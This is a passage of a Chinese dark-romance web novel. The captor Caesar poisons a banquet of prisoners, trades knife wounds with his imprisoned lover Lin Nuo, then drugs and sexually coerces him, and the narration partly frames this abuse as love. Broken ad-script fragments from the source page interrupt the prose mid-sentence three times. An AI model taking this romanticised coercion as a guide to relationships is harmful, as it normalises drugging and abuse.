从地面到天花板,全部贴满白色的软包。连排泄器都是软的,杜绝任何自残自杀可能。 而在那些软包的缝隙里,密密麻麻布满了监控眼。 这些“眼睛”闪烁着微弱的红光,不断调整焦距,一刻不停注视着被反绑的少年。 “嗡——” 墙壁上的一块软包向后退去。墙上嗡嗡地探出一根给食管,管身笔直,但也包裹着半硬的硅胶。 很快,给食管内涌出糊状的营养膏。 囚室里并没有任何食物容器,于是那些营养膏噼里啪啦,黏腻地掉在地面上。 林诺冷眼看着。 他没有动,也没去吃地上的营养膏,只是看着给食管输送完今天的食物,又“嗡嗡”地缩回墙面里去。 少顷,被溅上食物的地面软包,开始同时翻转。 几块干净的软包换上来后,囚室里又洁净如初。 囚室里除了排泄器和给食管,就没有任何多余东西,当然也不会有钟表。 林诺从被关进来的第1刻就开始数秒,试图感知时间,但读到约20个小时时,他失败了—— 囚室里注入了催眠气体,让他瞬间昏睡过去。 等一觉醒来,他就再也弄不清自己被关了多久。 不过给食管的出现,似乎是有规律的,假设它是按照一日三餐给食,那么从林诺醒来到现在,外面应该已经过了四天。 可能是在昏迷时被强行喂食过,林诺在刚醒来的时候,还是可以扛得住饥饿的。 但脱水4天,对他来说已经快到极限。 想起被士兵击晕在驾驶舱时,他隐约看见有些机甲飞进了林家飞船,并在那团大火球里进进出出,想必是活捉了不少林家俘虏的。 想到小叔或许也在那些俘虏中,林诺知道自己必须得活下去。 于是当给食管下一次探进来,他用肩膀抵着地面前进,缓慢挪动到给食管下。 因为无论如何也不愿意像狗一样舔食地上的食物,林诺跪立起身,张开发白的薄唇,叼住墙上伸出的给食管。 “咕……唔……” 湿润的营养膏很快涌进口腔。 林诺费力地吞咽着。 好在给食管流速不快,营养膏也充分细腻,他不需要咀嚼,只要敞开喉管吞下去就可以了。 饥饿和干渴感慢慢退去时,他的味蕾也逐渐恢复,林诺恍然觉察出,这是恺撒曾经喂给他吃过的“军部新品”。 就在这时。 给食管的流速突然加快。 林诺一开始还能勉强吞咽,但到后来营养膏越来越多,不小心呛进了气管。 他一下子别开头,剧烈咳嗽起来,从给食管里涌出的营养膏,全都溅在了他的头发、脸和身上。 “咳咳……咳……” 林诺狼狈极了,俊美的脸上全是营养膏,还在不断向胸口滴淌。 他两手都被反绑,只能用肩膀擦着脸,再撩起黑眸去看时,就见给食管上方,不知何时也出现了一个黑洞洞的监控眼—— 它缓慢闪着红光,映照出林诺此时的模样。 六天,十天,十二天。 林诺在这间纯白的囚室里等待着。他没有放弃感知时间,给食管出现三次后,就把耳朵紧靠着给食管所在的墙睡一觉,以免囚室里又喷出催眠气体。 天花板则有自动清洁系统,给食管每出现六次,囚室就会降下身体清洁液,把林诺浑身上下淋个透湿,又用清水冲刷干净,最后烘干。 十五天。 林诺猜恺撒现在应该在处理屠星后续的事。 他并不急着要跟恺撒对质,因为他已经开始研究给食管下方的地面。 囚室的地面软包,是可翻转自洁的,每次翻转的间隙,都会露出囚室下方的结构,于是他会抓紧时机,仔细观察地板下方。 囚室应该是在某艘星舰的底舱,因为地板下就是隆隆运转的巨型引擎和核心炉。 为了尽快找到逃离方法,他在进食时也会故意吃一半漏一半,或者干脆蹲在给食管前不吃,低头等着脏地板翻转。 “……!” 然而给食管上方的监控眼再次发光。 给食管突然向前暴长,一下戳在他的腮帮上,把他往后顶了个仰翻。 十七天。 囚室的门开了。 全副武装的士兵走进来,给他换了一个轻量级镣铐,然后用枪顶着他的背,把他押上一处陌生的舰桥。 林诺惊愕地发现,舰桥上像他一样被押送的囚犯,竟然还有很多,大多数是生面孔,少数眼熟的,林诺仔细回忆,想起应该是在公共光幕上见过—— 他们有些是本届竞选首席执政官的候选人,有些是几个财阀集团的干事或董事。 舰桥上浩浩荡荡,竟然有千余人,每个人都面色灰败,手脚拖着很重的尤铁镣铐,只有林诺手脚上的是电磁款式。 他不住地四处张望,想在这支浩浩荡荡的大部队里找到林家人,但背后的枪支冷冷一顶,“老实点。” 林诺不动声色,从人群中间慢慢挪到舰桥边上,才看清当下的场景。 这是一座连接两艘星舰的太空舰桥,他刚刚离开的星舰,看上去像一艘专门关押囚犯的运输艇,而舰桥前方通往的星舰,则是那艘熟悉的银白色指挥舰。 他随着人流,被押到一个巨大、宽阔的宴会厅里。 宴会厅里摆着大大小小的圆桌,桌上全是丰盛的菜肴,端着托盘的小机器人忙忙碌碌,从厨房往宴会厅运菜。 如果不是背后还被枪口顶着,林诺甚至会以为自己误闯了某场大型宴会。 他像所有人一样,被枪顶着在一张圆桌旁落座。 没过多久,林诺听见了轮椅的轱辘声,于是猛地回头去看—— 竟然真是小叔,手脚也戴着镣铐,被士兵推着轮椅入场。 他身上之前还未痊愈的烧伤,看上去更加严重了,似乎没有得到任何有效治疗。 一进宴会厅,小叔也急切地在人群中扫视,扫过两圈后,正巧远远跟林诺对上视线。 他们彼此交换了一个欣慰的笑,但随着小叔被士兵推向另一张圆桌,两人脸上的神情,又同时转为担忧。 所有囚犯全部落座,士兵手扶枪支,站立在座椅后方。 上千人的宴会厅,没有一丝人声,只有小机器人来回忙碌的细响。 良久,一种特殊的金属碰撞异响,自宴会厅前方传来。 林诺眼角一跳。 他最熟悉的身影,带着一众狼耳直立的警卫队,出现在宴会厅前的跃层上。 “晚上好。首先,我必须请求诸位的谅解——为我忘记向诸位发出邀请函,就自作主张筹办了这场晚宴。” 恺撒微笑着说。时隔多日,他依然披着漆黑的军装大衣,银发细致地向后梳着。 但那套军装已经跟联邦军服有轻微的不同,多了银色的烫边,剪裁也更加尖锐酷厉。 “在座的诸位,或许都曾在不同时刻与我为敌,但同样处在历史变革的洪流中,我相信我们都是被命运推动,才会做出对立的选择。 “但那一切已经成为过往云烟。今天,我邀请大家出席这场晚宴,并非为了重操旧怨。第三行星联邦即将进入新纪元,我衷心希望,我们会捐弃前嫌,为人类文明重现辉煌,而并肩战斗……” 在场所有人,只沉默听着恺撒演 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 讲,一个都不敢动。 林诺听到一半,冷冷一嗤,把被拷住的手拿到桌上来,去取转盘上的芝士龙虾。 他跟恺撒的前嫌不可捐弃,也不再稀罕听他虚伪的演讲,索性去拿东西吃。 但他的指尖还没碰到龙虾,台上演讲的恺撒生生截住话头,温柔地叫他: “林诺,我的恋人小猫。到我这里来。” 林诺伸出的手僵在半空。 林诺这个名字,对在场所有人都是重磅炸弹,名字后跟着的称呼,又是一枚重磅炸弹。 一时间整个宴会厅的人,都猛转过头来看他。 他坐在无数目光的交点处,只觉得如果这些目光有温度,大概会把他的毛发都烫焦。 “来。” 恺撒仍在柔声呼唤他,还对他的方向张开手。 “我们很久没有见面了。过来给我一个拥抱,小猫。” 不远处的餐桌传来一声震响。 是小叔的头被士兵的枪抵着,重重压在了餐桌上。 林诺猛地站起身。 他下颌紧绷,黑眸直直盯着台上的恺撒,拖着脚镣朝他靠近。 但在他快要踏上跃层阶梯时,宴会厅里再起波澜: 一个受尽饥渴折磨的财阀,忍不住偷喝了一点面前的红酒。 但下一秒,鲜血就从他的眼耳口鼻汩汩流出,他近乎凄厉地尖叫着,眼睁睁看着自己喉部和胃部,滋滋地穿出一个大洞,粉色的肠子流了一地。 “……食物有毒!!!!!” “他要杀光我们!!他是要杀光我们!!!!” 宴会厅顿时大乱,尖叫、桌椅倒地声和枪声此起彼伏。 林诺急回头要去找小叔,但腰后猛地一紧,他被踉跄着拽上台阶,整个人都撞在男人身上。 一抬头,就跟一双森冷的义眼撞个正着。 恺撒回头告诉警卫队:“尽快把这里解决干净。” “是,队长。” 尖叫声开始减弱。士兵用枪把人的脑袋重重压进餐盘,逼迫他们吞食剧毒的食物。 混乱中,林诺看见小叔从轮椅上翻倒,紧接着,就是让他痛彻终生的一幕—— 中年男人拖着重伤的身体,在混乱的人堆里奋力往前爬行,嘶哑地朝恺撒喊: “放了小宝……求求你……不要伤害小宝,一切都是我的错……杀了我吧……求求你——” 林诺疯狂地吼叫、大骂,用戴着镣铐的手脚去攻击恺撒,可浑身覆甲的杜兰德,已经从恺撒手中把他接过。 厚重的动力盔甲嗡嗡运作,林诺简直像被机器固定在原地,手脚都无法再动弹,眼睁睁看着恺撒从腰后拔出枪,一手朝地上的中年男人举枪,一手斜竖起手掌,挡在脸前—— 那是一个不想让血溅到自己脸上的射击姿势。 林诺的咒骂声停住了。 他总是骄傲挺直的脊背,就在那一刻被突然击碎。 少年发软的膝盖,碰到了杜兰德的金属战靴。他发疯般地向银发男人乞求,眼泪全都掉在金属臂铠上。 但杜兰德一把将他拽起,并准备从鲜血飞溅的宴会厅撤离。 “别杀小叔——求求你,恺撒……别杀他——” 少年绝望的哭喊声穿透耳膜。 恺撒垂着义眼,持枪的手稍往侧偏移半公分。 幅度很细微,几乎不能察觉。 “求求你……恺撒——” 但林诺泡满泪水的双眼,已经被杜兰德的金属手掌捂住。 指缝间的最后一瞥,他看见恺撒漠然的侧脸,耳边传来一声爆能枪的巨响。 尔后,鲜血大量喷溅。 血液滴滴答答。 从那只皮革手套上淌落下来。 72.第 72 章 宴会厅的屠杀尚未结束时。 恺撒就已经对现场失去兴趣。 他转过身,前往关押林诺的舱室,脚步多少有些迫不及待。 在恺撒的专属指挥舰上,有个专门留给林诺的房间。 那还是他们关系没有破裂,在庄园里甜甜蜜蜜时造的。 当时他的想法是,在彻底掌控联邦以前,大概率还有几场硬仗要打,包括但不限于那几支未必会顺从他的远征军。 但如果情况糟糕到需要离开太阳系打仗,没个一年半载,绝对回不来。 黑发恋人的脑袋靠在他的臂弯,睡着时起起伏伏的腹肌,把他环在对方腰上的手掌也顶得一上一下。 恺撒看着他,心想他绝对忍不了那么长的分离时间,所以索性就把林诺一起带着走。 林诺本身是重度军事迷和机甲迷,有实战观摩机会的话,想必也会愿意陪他一块去的。 但当舱室的门一滑开。 伴随着镣铐的“哗啦”响动。 一个蜷缩在门边的身影,骤然暴起! “……恺撒——!!” 少年双目猩红,嘶声暴喝。他一个可怕的速度暴扑而来,还拴着镣铐的双手,瞬间夺走了恺撒腰间的军用匕首。 紧接着,林诺没有丝毫犹豫,两手高高举起匕首,径直向恺撒的颈动脉刺下! 那几个毫秒,就像是电影里的一帧慢动作画面。 恺撒的手还扶着舱门,余光是舱室墙上精心布置的机甲手办架,义眼从离他越来越近的刀尖,慢慢聚焦向那双溢满泪水的黑眸。 有很多看不清的画面在他眼前闪过。 接吻时的,缠绵时的,争吵后和好时的……初见时的。 林诺身负镣铐,而他也并不是那些大腹便便的高官,在这一瞬间,他其实是有办法躲开,并且夺回自己的匕首。 可不知道怎么的。 恺撒莫名像被那双黑眸钉在原地,身体一动也动不了。 ……小猫是真的希望他死吗? 他心想。 无感情的金属义眼,有一瞬很轻微的震颤。 小猫会像与他斗争多年的调查局、财阀、星盗一样,没有一丝一毫怜悯和动摇,就是坚定地要置他于死地吗? 杜兰德的吼声由远及近,被这放慢的一帧无限拉长: “——队长……!” 随着“铛”地一声重响。 刀尖在金属臂铠上,划出凄厉的火花。 林诺的刀尖由此偏移,从恺撒的颈动脉几厘米处擦过,然后深深砍进了恺撒的左侧锁骨。 鲜血飞溅。但林诺依然没有迟疑。 他的眼白已经像暴怒的兽类一样赤红,手起刀出,带起一大串喷溅的血珠。 紧接着,林诺又一次双手握刀,发狠地朝前捅刺—— 这一回瞄准的,是恺撒的心脏。 “哧——!” 第2回刀尖刺入皮肉的闷响。 但匕首没能捅进心脏,而是深深卡在银发男人的胸骨中央。 恺撒的皮革手套,紧紧握着锋利的刀刃,义眼在眉骨的阴影里抬起看他。 他看了林诺好一会儿。直到林诺再次试图拔出匕首,准备给恺撒来第三下时。 他向后拔出杜兰德披风下的军刺,一手握着胸骨前露出的匕首,一手持刃向前,径直把林诺重重顶在了舱室的墙壁上。 被撞翻的机甲手办,稀里哗啦地掉在林诺的头上肩上。 林诺被巨大的冲力撞得后脑震荡,迟缓了好一会儿,才慢慢低头看向自己的腹部。 腹部的剧痛并不是幻觉。 而是源于一把深深扎在那里的军刺。 林诺掀起黑眸,望向男人映出自己脸庞的义眼。 他已经什么都不在乎了,竭尽全力去拔卡在对方胸骨里的匕首,只想要把它捅进心脏。 但他的双手被镣铐锁着,匕首又在恺撒的胸骨里卡得很深,林诺在腹部背刺的状态下使劲拔取,却无论如何也拔不出来。 就在这个间隙,恺撒拔出军刺,也朝着林诺的左侧锁骨位置,缓缓刺了进去。 “……你知道我是多么睚眦必报的人。” 恺撒低沉道,“你看。这样才能算得上公平。” 他和林诺手里都有一把刀,都深深捅在对方身体里,身上都开着两道很深的刀口,鲜血像喷泉一样涌出来,浸透他们彼此的衣服,并与对方的血液融汇。 林诺被他抵在墙上,痛楚使他脸色煞白,浑身痉挛似的发抖,但双手依然在固执地试图拔刀。 他平生第一次痛恨过于良好的家教,这让他只能来来回回用几个词咒骂,根本想不到太多恶毒的说法: “……疯子……混蛋!你这个……卑鄙之徒!” 但恺撒笑了。 银发男人更加压近他,让两人身体里的利器进得更深,然后轻声细语地告诉他: “我就是疯子,还会比你想象中疯得更加厉害。你敢离开我一个月,我就屠一颗星球。离开我两个月,我就屠两颗星球。这些人命都要算在你的头上,因为你是个薄情寡义、不守承诺的失败恋人,而你的父母,是一对为虎作伥的走狗夫妻。” 血喷涌的速度很快,林诺几乎都能听见水龙头一样噼里啪啦的声音。 他眼前一阵阵发黑,但剧痛中,还是听见了恺撒对他父母的恶毒评价。 浑身血液轰地一下,直直涌上大脑,林诺猛地在恺撒刀下侧转身体,竟像是不惜废了一条胳膊,也要从墙壁上挣脱,然后把捅偏的匕首拔出来杀了他。 但恺撒没有如他所愿。 他迅速松开军刺,双手往上掐握住林诺的脖颈,逼迫他停下动作。 林诺吃力地喘息着,用力抓挠着他的手指,双眸里的恨意已经要化作实质性的尖刀,口里不断涌出更多鲜血。 “……骗子……” 林诺几乎要目眦欲裂,流出血泪来,“你骗了我……害死了那么多人……杀了小叔……我永远不会……永远不会放过你……” 而恺撒低头看着他的眼睛。 他的左脑是林家父母当年参与的滔天血案,右脑是那对在分解炉里缓缓融化的情侣手环,结果义眼对上那双黑眸时,一个很古怪的念头,莫名占据了大脑优先级: 他们这一回分开的时间,好像是46天,确实是很久没见面了。 从前就算是异地恋的时候,他们分离的最长时间记录,也没有超过35天的。 于是,恺撒突然松开手掌,改为捧住林诺的脸颊。 他就着胸骨卡着一把刀的状态,开始亲吻少年的嘴唇。 “……操!!” 林诺真的爆了粗话。他发狠地转动恺撒胸骨里的匕首,还用力合拢牙根,准备咬断恺撒半截舌头。 但恺撒也不甘示弱,一只手移下去,狠狠压住他腹部的刀口。 “呜……唔……!” 林诺痛得浑身发抖,眼前全是金星,只知道嘴里全是两个人的血,一路顺着口角流进衣领。 而他一松唇,舌尖就被吸进了另一个同样溢满鲜血的口腔。 血不断从墙边淌下,浸泡过那些散落的机甲手办,又蜿蜒绕过两人的军靴,一路流淌到舱室门口。 警卫队成员全在门口呆立着,姿态非常不知所措,似乎根本不知道自己当下该做什么。 直到林诺失血过多,整个人跌坐进血泊里,恺撒也终于坚持不住,扶着血淋淋的墙壁,缓缓跪倒在地。 “治疗舱。”恺撒说。 治疗舱也是他抱着林诺一起躺进去的,很挤,不过恺撒感觉良好。 林诺昏迷的时候,不再会充满仇恨地注视他,也不会再拿刀子乱捅,而是温顺地靠在他胸口,浓墨似的黑发和长睫毛,都被脸上的冷汗浸湿。 恺撒看着他的睡脸,一会儿亲吻他眼角的泪,一会儿摩挲他又被磨破的掌心,然后才再一次想起,这是仇人的孩子,是该承受万般怒火惩罚的罪人。 期间杜兰德来汇报宴会厅的状况:“……其中有一些受训程度很高的特工。他们在乱中夺走枪支,打伤不少士兵,并带林成彬杀到甲板,乘坐救生舱潜逃。” “他在这里。”恺撒说,“他们一定会回来。” 事实上,自从把林诺控制在手里,他心底的焦渴感就平复多了。 就算在一次轻微的失血性昏迷后,他突然感觉喉咙传来压迫感,睁开义眼,就见林诺已经从治疗舱里坐起,两腿骑在他的身体两侧,正用力掐住他的喉咙。 他的语调也还是很稳定:“所以你……准备像林成宇和……覃文华……一样,第二次杀死我,对吗?” “——你没有资格提我父母的名字。” 林诺瞬间加重力道。他掉了太多眼泪,眼底已经完全干涸,只有眼眶在传来酸胀感,却没有任何泪水再能分泌出来, “你从一开始就在骗我……你的暴风眼计划,你的形象,你口口声声跟我说过的理想!你杀了我唯一的亲人,事到如今,你还敢污蔑我的父母……!!” 恺撒的义眼轻微颤动,那股埋藏已久的恨意,终于首次战胜失而复得的喜悦,汹涌地爆发出来。 他一手用力掰着林诺的手指,不让他把自己的喉管掐断,另一只手很干脆地按下光脑,把光屏直接弹到林诺眼前: “事到如今,你还想为他们辩解?!” 林诺第一眼就看见光屏里熟悉的身影,愕然变色。 他没有一点点思想准备,看见那段爸爸妈妈走进机甲库的视频时,甚至没弄懂恺撒是什么意思。 但他困惑的表情,显然将恺撒的怒意煽动到了顶点。 银发男人径直把他从治疗舱里拖出来,一路拽进机密资料室里,抓着他的黑发,重重按在屏幕面板前。 “还想要装无辜?” 他俯身贴在林诺耳边,嗓音里带着一种蛇类的恶毒嘶声, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “自己看。看你的父母对我、对冥炎、对第一舰队机甲部队做过什么,对星陨战役的几百万条人命又该负起何种责任。你出现在训练场那天根本不是巧合,是谁让你进入中央军校,又是谁让你报考机甲联赛?你口口声声对我说什么Beta的理想,实质居心叵测、脏污透顶,比调查局有过之无不及!” 他们在治疗舱里的时间根本不够长,恺撒把林诺一路拽过来时,两个人身上的刀口,就又开始滴滴答答渗血。 警卫队从舱室一路跟着他们,姿态依然很不知所措,最后,杜兰德决定拖来治疗舱,沉默地摆在资料室门边。 当恺撒按着林诺的脑袋发出指控时,他是想要看见对方激烈挣扎着辩驳的。 但林诺没有。 他的头抵着监控台,眼睛一行行扫视屏幕上的证据。 视频,口供,遗书,那些恺撒已经看过不下千百遍、无论如何也找不到杜撰可能性的证据。 林诺突然一点点冷静下来。即便监控台上的拳头依然紧握,但声音却很轻、很稳地说: “不是他们做的。” 恺撒的手轻微颤栗。 他把林诺的脸扳过来一点,声音很低地说:“证据。” “因为他们根本不会这样做。” 林诺说,“我妈妈是顶尖机械师,我爸爸是她的学徒,所以植入精神力熔毁芯片这种事,只能是我妈妈主导。但她不会这样做。她说过一颗偏差值在1%的螺丝,都有可能导致一位机甲战士丧命。她说过人命不是游戏,她不会用机甲来开玩笑。” “……所以你根本没有证据,一切都是你的主观臆想。是林成宇亲自递交的遗书,就在他们选择自杀的前夕,没有佩戴易容装置、没有假手于人、没有受到胁迫,这些甚至是由南境林家控制下的信托公司确认的。他亲口承认他对冥炎动了手脚,而调查局里有他们同意植入芯片的对谈语音,当晚机甲库只有他们的进出记录。你要想为他们脱罪,应该找个更好的理由,而不是仅仅一句‘她不会这样做’!” 可是不管恺撒说了什么,从这一刻起,林诺就像完全变成了一块坚固的顽石。 他的脑袋被压在监控台上,眼眸冷静地看着那些证据,但口中来来去去,都只有一句——“他们不会那样做”。 最后恺撒一把将他拽回到眼前,捏起他的脸颊,用一种极其恶毒的语气刺激他: “——就连你最后的亲人也认了。你的小叔也知道他们就是让我的眼睛和精神力全毁的凶手,所以从机甲联赛前就开始用各种手段让你逃离,因为他知道我会对你施以怎样残酷的报复。直到生命最后一刻,像条狗一样爬到我的枪口下,他也仍然死不悔改地让你逃离。所以他连脑浆都爆到了天花板,可惜你并没有看到——” 被拖到门边的治疗舱再次派上用场。 林诺甚至怀疑精神疾病是否也会传染,因为他觉得自己也在变得越来越疯。 第二次从治疗舱里醒来时,他第一反应就是要去杀了恺撒,用刀枪也好,用折断的手办架边缘也好,用镣铐的铁链、用金属的床脚、用玫瑰花盆—— 不知为什么恺撒的指挥舰上会有玫瑰花盆,还是一个用胶重新粘合过的、上面遍布密密麻麻裂痕的花盆。 林诺身上是未愈合的刀伤,还有两次斗殴叠加的大大小小淤青,他根本想都没想,竭力翻出治疗舱,两手抓起它,用力朝恺撒投掷过去。 “啪”地一声,遍布裂痕的花盆彻底碎裂。 恺撒的银发间淌下滚涌的血,把一边的义眼都完全染成赤红。 他用指尖擦了擦血,看看地上的花盆,又看看林诺,自己反倒先冷静下来了,还朝林诺微微笑。 “我突然想到一个不错的惩戒方式。” 恺撒温和地说,哪怕这种语调跟他满脸的鲜血并不匹配,“恰好也可以回报你给我打的过量麻醉剂。” “……我——从来——没有——” 大腿根部传来针刺的锐痛。 林诺在镣铐间踉跄着,黑眸抬起看着恺撒的眼睛。 恺撒的表情很平静,唇角是上翘的,他举起手,让林诺看清手里的针管,管壁上残留着一些诡靡的玫瑰色液体,非常稠,一看就是高浓缩过。 “从现在开始求我吧。” 银发男人说,军靴踏上花盆的碎片,手掌紧紧握住林诺的脸, “用你最低贱的姿态求我,我会尽量不让你的……肿得严重。” 那是一场朝黑暗堕落的噩梦,梦中只有无穷无尽的屈辱,还有如恶魔般的低低耳语。 恶魔紧扣着他的咽喉,持之以恒地在他耳边发出命令,要他在自己的臂弯里高声乞求。 可当林诺真的理智断裂,对恶魔亦步亦趋时,那些羞辱的指令,却又隐秘地换了内容。 “……说你爱我,小猫。说出来,说你爱我……说你爱着恺撒而不是那个英雄,说我们一直深深相爱,从来没有后悔过……” 73.第 73 章 …… … “哗——” 鼎沸的人声把他包围。 赛场里到处都是人,脑袋挨着脑袋,横幅挨着横幅。 木星环城的礼炮和自动花瓣机,早在前一天就被观众买空了。 林诺抱着战神金杯,被观众们笑闹着当成靶子打,飞扬和花瓣和彩带,劈头盖脸地洒了他一身。 “诺神!你看你多帅啊!” 观众席上亮起巨大的光幕。 赛级机甲拖着震撼的音爆云,将所有挡在面前的选手击溃。 它是如此不可阻挡、一往无前,好像只要驱动起来,就能隆隆地踏平一切阻碍,冲向光亮的明天。 “诺神!接住——!” 林诺把脑袋埋在礼物堆里,不给那些很坏的观众看,免得让他们拍到自己的表情包。 但礼物和花瓣,还是像下雨一样,噼里啪啦落到他头上。 “可爱捏!” “恭喜你赢啦!” 少年把脸蛋塞在层层叠叠的信件下面,绷了一会儿,还是很开心地笑起来。 … …… 他被涨醒了。 入目还是那个铺着软包的雪白囚室,但比之前多了一面镜子,一个人。 他面朝着镜子,湿透的脑袋低垂着,两条腿也被抱到自己肩前。 Alpha双掌正扣着他的后颈,吻着他的脊椎上缘低语: “梦见什么了?你的表情看上去真幸福。” 林诺看向镜中的自己。 他没有挣扎,反绑的两手垂在腰后,几乎能碰到相接的部分。 他说:“我梦到你了。” “是吗?” 恺撒怔了一下,随即露出一个颇为惊喜的表情。 他抱着林诺,将进程进行到最后一刻,这才餍足地眯起眼,靠着墙边坐下。 他低头吻着林诺的后背,帮他捋开湿黏的黑发,才温柔地说: “你梦见我什么呢?宝宝小猫,我想听你详细地讲给我听。” “我梦见我们在南境玩,暴风雨来了,我们躲进一个街边的充电亭里。你问我玩得开不开心,又说南境这几天,是你七年来最快乐的时候……” “你都记得。” 恺撒唇角笑意更柔和,低头按摩他的腹部, “那是我们定情的时候。小猫当时非常可爱,一边担心风暴把我也卷走,一边还要分神听我说话……急得脸蛋都是红的。” “……然后你说,如果不想跟你分开,我就应该亲口做出表率。” 林诺的声音非常轻,气息若有似无,“你问我要一个答案,要一个能够决定我们以后关系的答案……” 恺撒听着他说自己的梦,莫名觉得心里很软,从他的耳根亲吻到脸颊。 林诺最大的优势和劣势,都来源于身体感官的敏感,再辅以药物效果,简直事半功倍。 这几天他们都在这间囚室里待着,林诺在神志不清时,是会抱住他的脖子主动索取的,那真是难以想象的艳丽。 男人的唇即将触上林诺的薄唇时,却看见那双唇瓣开合,吐出后续的话音: “……而我往你的脸上吐了一口唾沫。我说像你这样的人,根本不值得被爱。你连触碰冥炎的资格都没有,一生就该烂在孤儿院的水沟里,成为任人践踏的脏泥。” 林诺说完这句话,立刻感觉腹部的手收紧了,几乎要让他从嘴里反呕出来。 他过人的直觉天赋,在爱一个人的时候,能化作最甜蜜的糖果,而在恨一个人的时候,却会变成最精准的子弹和尖刀。 但成年Alpha到底很快控制住情绪。他只吮着林诺的耳尖,低低笑道: “看来药效过去了。小猫可能是被我……坏了脑子,忘了如果我不驾驶冥炎,你就不会活到今天,你的走狗父母也不会参与破坏我的精神力,而我也不需要走到颠覆联邦这一步,更不会提出暴风眼计划,也不会在选中你后又反悔,最终被你麻醉过量逃脱。” “我没有注射过量的麻醉剂,我的父母也不会在冥炎安装精神力熔毁芯片。你颠覆联邦的冲动是因为你永不满足的野心,无论是否发生星陨战役,这一天都会到来。你的暴风眼计划葬送了一个无辜的Beta孩子和无数不该命丧血色戒严的民众,如果不是那个孩子就会是我,而你竟然能将这也包装成对我的‘爱’?” 恺撒依然选择性忽略他的后半段话,只对他的前两句低声回应: “证据。” 于是又一次进入死循环。 林诺很想找些东西杀了他,但他现在太虚弱了,药物里很可能还含有肌肉松弛剂,他发现自己在没有恺撒帮助的情况下,竟然连腿都很难合上。 他没办法用引以为傲的武力进行报复,于是继续用他认为可以伤害恺撒的全部语言进行输出。 恺撒两指捻着破皮的地方,往上头轻轻涂抹药膏,并一直神色温和,似乎那些话对他来说,不过只是小孩子跳脚。 然而当林诺说到一句“我从没有爱过你”,他的眼角猛跳了一下。 “我知道我们之间发生了很多事情,但你不该说这种自欺欺人的谎话,坏孩子。” 恺撒说,架起他的一条长腿,继续涂抹药膏。 “要我提醒你在庄园作训区里度过的那些日子吗?你可是在那里反反复复、一遍一遍对我倾诉爱语,哪怕有时候我并没有逼迫你。为什么你在治疗ptsd时,会在睡梦里呼唤我的名字,并在惊醒时投进我的怀里?我不认为你的奥利奥同学或者点头之交学长,会有这种待遇。” 他提到ptsd时的事,林诺的黑眸轻微颤了一下,脑中闪过一个深夜徘徊的背影,还有很隐秘的怦然心动。 但他无论如何也不会让自己在这间囚室里、在被这样折磨过后还怀念旧情。 于是,当男人涂好药膏,抬眸从镜中凝视他时,他已经迅速换上一个微微冷笑的表情。 “我爱一个温柔正义的联邦英雄,胸怀大义、忠诚正直,” 林诺说,“如果不是因为你用假面具骗了我,你以为真正的你,对我算什么东西?” 正如他对自己的直觉天赋,能为恋人带来多大的幸福感没有什么自知一样,他本人通常也很难察觉它的巨大杀伤力。 ——刚说完这句话,他就感觉自己身后的Alpha胸膛,突然传来一阵很剧烈的战栗,就像是胸骨处又捅进一把刀。 恺撒在镜子里看着他,突然又一次平静微笑,并轻轻抬手一抛,把还没上完的药膏丢进排泄舱。 紧接着他走出囚室,回来时,手里拿着一个小盒子。 “我们来玩一个猜礼物的小游戏。” 他依然环抱着林诺坐下,面对面抵着额头,让林诺背对盒子,用反绑的手去摸。 “摸摸看你的新礼物是什么。” 林诺不愿意跟他近距离挨着,但只要扭头偏开,Alpha的手臂就会像铁箍般锁着他。 他只能探出指尖,反摸盒子里的“礼物”。 第一个触感,就是大量的毛刷。 非常多、非常细密,比曾经把他折磨得死去活来的“礼物”,有过之无不及。 他沿着毛刷,慢慢摸出体积,脸色就一点点变白了。 “一根新的逗猫棒,专门惩罚不说实话的坏小猫。你喜欢吗?” 恺撒把它拿到眼前,当着林诺的面,开始往上面喷淋那些玫瑰色的药液。 他一管接一管,往上淋了三支针管的量,直至那东西整个都被高浓度药液包裹,黏腻地滴落下来才罢休。 然后恺撒捏起林诺的下巴,低沉道:“我三天后再来看你。” 他把林诺放在囚室,去处理南境的善后工作。 说是三天,但还没到一天半,他已经忍不住去看监控。 看了一眼,恺撒骤然站起,大步走向囚室。 林诺在发高烧。 极大概率是没有用够消炎药,以及整整三倍过量药物叠加的后果。 他蜷缩在给食管的墙边,双眸紧紧闭着,早已烧得人事不省。脸和身体都滚烫通红,唯独唇色苍白得吓人。 “林诺,放松……” 恺撒成功扔掉那根“逗猫棒”,用大衣一把裹住林诺,一路疾走,抱到自己的私人区域去。 在进舱门的时候,他还差点绊了一脚。 蹒跚时他撑着门框,听见怀里神志不清的林诺,好像一直在很轻地咕哝着什么。 “我在这里,小猫。” 恺撒以为林诺是在呼唤他的名字,便把人抱紧,脑袋低垂下去靠近。 但靠近去听,才听清少年嘴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里轻喃的字眼是“妈妈”。 高烧和炎症在星际时代倒不如古地球时可怕,但治疗舱并不能帮助排解药物。 恺撒一遍遍给林诺喂进净水,又为他清洗身体,寄希望于药物能够随新陈代谢快速排出。 可林诺醒来时,黑眸依旧没有清醒,很艳丽地仰起来看着恺撒,学舌那些被教过的话: “……孕……小猫想要……受孕……” “林诺,醒过来。” 恺撒捧着他的脸,给他喂水,又不断叫他的名字。 他好像是第一次不再戏谑地叫恋人小猫,只是一遍遍叫他的名字,希望他能清醒过来,“看着我,林诺。林诺。林诺……” 这实在是很奇怪的一件事。 他曾经想过只要能把林诺留在身边,连昏迷的身躯也可以接受。 后来又因为清醒时的林诺太容易伤人,干脆想让他变成完全没有自我意识的玩偶。 但现在林诺是他的玩偶了,他却又要捧着林诺的脸,急切地把他叫醒,想让他变回从前那个眼眸亮晶晶的、会从舰桥一端朝他飞奔过来的少年。 “林诺……醒过来看着我。林诺。” 所幸林诺的身体素质和心性足够过硬。 在治疗舱作用和大量排出药物后,他躺在恺撒的行军床上,恍恍惚惚地清醒过来。 他的记忆停在恺撒用最屈辱的方式对他使用那根“逗猫棒”,并任由他在囚室里承受药物折磨。 于是醒来第一件事,就是翻身下地,开始寻找武器。 可是卧舱里的尖锐物品,早就已经全部被恺撒收走。 